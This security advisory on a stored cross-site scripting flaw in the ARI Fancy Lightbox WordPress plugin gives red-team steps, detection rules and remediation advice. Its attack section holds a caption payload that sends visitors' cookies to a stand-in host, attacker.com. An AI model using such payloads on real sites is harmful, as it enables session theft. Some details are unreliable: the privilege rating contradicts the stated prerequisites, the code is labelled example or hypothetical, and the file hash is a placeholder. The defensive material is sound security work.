CVE-2024-47310

Executive Summary

CVE-2024-47310 is a Stored Cross-Site Scripting (XSS) vulnerability in the ARI Fancy Lightbox WordPress plugin, affecting versions up to and including 1.3.17. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject malicious scripts that are stored on the server and executed in the context of any user viewing the affected page. This can lead to session hijacking, credential theft, or defacement. The CVSS score is 6.5 (Medium), and no public exploit or patch is currently available. As a WordPress plugin vulnerability, it specifically impacts sites using the ARI Fancy Lightbox plugin.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin files and monitor for updates from the vendor (arisoft). No known supply chain compromise has been reported, but the lack of a patch increases risk.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed to inject.
• User Interaction (UI): Required (R) – Victim must visit the affected page.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited modification possible.
• Availability (A): Low (L) – Limited service disruption.

Threat Level: Medium. The vulnerability requires user interaction but can lead to persistent compromise of user sessions and data.

Deep Dive & Mechanics

The ARI Fancy Lightbox plugin provides a lightbox effect for images and content. The vulnerability exists in the plugin’s handling of user-supplied data (e.g., image captions, titles, or custom attributes) that are stored in the WordPress database and later rendered without proper sanitization or output encoding. An attacker with contributor-level access or via a crafted link can inject JavaScript payloads into fields that are displayed in the lightbox. When an administrator or other user views the lightbox, the script executes in their browser context.

Root Cause: The plugin uses functions like echo or print to output user input without applying WordPress’s esc_html() or wp_kses() functions, or equivalent escaping.

Attack Vector:

1. Attacker identifies a field (e.g., image caption) that is stored and displayed.
2. Attacker submits a payload like <script>alert('XSS')</script>.
3. The payload is stored in the database.
4. When the lightbox is rendered, the script executes.

Vulnerable vs. Patched Code

Vulnerable Code (example from ari-fancy-lightbox.php):

$caption = get_post_meta($post_id, 'ari_fancy_caption', true);
echo '<div class="ari-fancy-caption">' . $caption . '</div>';

Patched Code (hypothetical fix):

$caption = get_post_meta($post_id, 'ari_fancy_caption', true);
echo '<div class="ari-fancy-caption">' . esc_html($caption) . '</div>';

The patched version uses esc_html() to encode HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WordPress site with ARI Fancy Lightbox <= 1.3.17.
• Attacker account with at least Contributor role (or ability to submit data via a form).

Steps:

1. Log in as a Contributor.
2. Create a new post or edit an existing one.
3. Add an image with a caption containing the payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Publish the post.
5. When an admin views the post, the script executes and exfiltrates cookies.

Proof-of-Concept (PoC) Code:

<!-- Inject this into a caption field -->
<img src="x" onerror="alert('XSS')">

Blue Team (Defensive)

Detection:

• Monitor for unusual script tags in post meta fields.
• Use Web Application Firewall (WAF) rules to block common XSS patterns.
• Review WordPress user activity logs for suspicious edits.

Mitigation:

• Disable the plugin until a patch is available.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use WordPress security plugins (e.g., Wordfence) to block malicious input.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • ari-fancy-lightbox.php: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example, verify actual)
• Network Indicators:
  • Outbound connections to unknown domains (e.g., attacker.com).
  • HTTP requests containing document.cookie in the body.
• Log Entries:
  • WordPress debug log entries with script tags in post meta.
  • WAF alerts for XSS payloads in wp_postmeta table.

Detection Engineering

YARA Rule

rule CVE_2024_47310_ARI_Fancy_Lightbox_XSS {
    meta:
        description = "Detects stored XSS payloads in ARI Fancy Lightbox plugin"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-47310"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $plugin_path = /ari-fancy-lightbox/
    condition:
        $plugin_path and $xss_payload
}

Sigma Rule

title: Stored XSS in ARI Fancy Lightbox
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in ARI Fancy Lightbox plugin
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: 'ari-fancy-lightbox'
        http.body|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of script tags in posts (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-47310 - Stored XSS in ARI Fancy Lightbox"; flow:to_server,established; content:"ari-fancy-lightbox"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the ARI Fancy Lightbox plugin until a patch is released.
2. Short-term: Implement a Web Application Firewall (WAF) rule to block <script> tags in post meta fields.
3. Long-term: Apply the vendor patch when available. If no patch is released, consider replacing the plugin with an alternative.
4. Monitoring: Enable WordPress audit logging and review for suspicious activity.
5. User Training: Educate users about the risks of clicking on untrusted links.

Valters IT
Securing Digital Frontiers